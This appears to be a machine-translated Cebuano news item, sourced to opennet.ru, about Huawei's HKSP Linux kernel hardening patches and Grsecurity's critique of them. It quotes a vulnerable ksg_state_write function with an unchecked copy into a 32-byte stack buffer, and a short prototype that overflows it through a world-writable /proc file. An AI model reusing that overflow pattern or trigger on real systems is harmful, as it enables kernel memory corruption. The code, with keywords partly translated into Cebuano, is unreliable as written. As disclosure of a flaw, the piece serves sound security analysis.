Mga developer sa proyekto sa Grsecurity
Ang mga patch sa HKSP gipatik sa usa ka empleyado sa Huawei, naglakip sa paghisgot sa Huawei sa profile sa GitHub, ug gigamit ang pulong nga Huawei sa ngalan sa proyekto (HKSP - Huawei Kernel Self Protection). Sa samang higayon, gipanghimakak sa mga representante sa Huawei ang koneksyon sa proyekto sa HKSP sa kompanya ug gipahayag nga ang code naugmad sa personal nga inisyatiba sa empleyado, dili opisyal nga proyekto sa Huawei ug wala gigamit sa mga produkto sa kompanya. Sa
Ang HKSP naglakip sa mga pagbag-o sama sa randomization sa mga offset sa cred structure, proteksyon batok sa mga pag-atake sa user identifier namespace (pid namespace), pagbulag sa proseso stack gikan sa mmap area, detection sa doble nga tawag sa kfree function, pagbabag sa mga leaks pinaagi sa pseudo -FS /proc (/ proc/ {modules, keys, key-users}, /proc/sys/kernel/* ug /proc/sys/vm/mmap_min_addr, /proc/kallsyms), gipaayo nga user space address randomization, dugang Ptrace proteksyon, gipalambo nga smap ug smep nga proteksyon , ang abilidad sa pagdili sa pagpadala sa datos pinaagi sa hilaw nga mga socket, pag-ali sa dili husto nga mga adres sa UDP sockets ug pagsusi sa integridad sa mga proseso nga nagdagan. Naglakip usab kini sa Ksguard kernel module, nga gitumong sa pag-ila sa mga pagsulay sa pagpaila sa kasagaran nga mga rootkit.
Paghunahuna
Ang usa ka pagtuon sa patch sa mga developer sa Grsecurity nagpadayag sa daghang mga kasaypanan ug mga kahuyang sa code, ug nagpakita usab sa pagkawala sa usa ka modelo sa hulga nga magtugot kanila sa igo nga paghukom sa mga kapabilidad sa proyekto. Aron sa tin-aw nga pagpakita nga ang code gisulat nga wala gigamit ang luwas nga mga pamaagi sa pagprograma, usa ka pananglitan sa usa ka gamay nga kahuyang sa tigdumala gihatag.
file /proc/ksguard/state, nga gimugna uban ang mga katungod 0777, nga nagpasabot nga ang tanan adunay access sa pagsulat. Ang ksg_state_write function, nga gigamit sa pag-parse sa mga sugo nga gisulat sa /proc/ksguard/state, nagmugna og tmp[32] buffer diin ang datos gisulat base sa gidak-on sa operand nga gipasa, nga walay pagtagad sa gidak-on sa target buffer ug walay pagsusi sa parameter sa gidak-on sa string. Mga. Aron ma-overwrite ang bahin sa kernel stack, ang tig-atake kinahanglan lang nga magsulat ug espesyal nga pormat nga linya sa /proc/ksguard/state.
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
u64 nga bili;
char tmp[32];
gidak-on_t n = 0;
kung (copy_from_user(tmp, buf, len))
pagbalik -1;
bili = simple_strtoul(tmp, '\0', 10);
...
Pahimusli ang prototype:
char buf[4096] = {};
int fd = open(“/proc/ksguard/state”, O_WRONLY);
kon (fd >= 0) {
write(fd, buf, sizeof(buf));
duol(fd);
}
Source: opennet.ru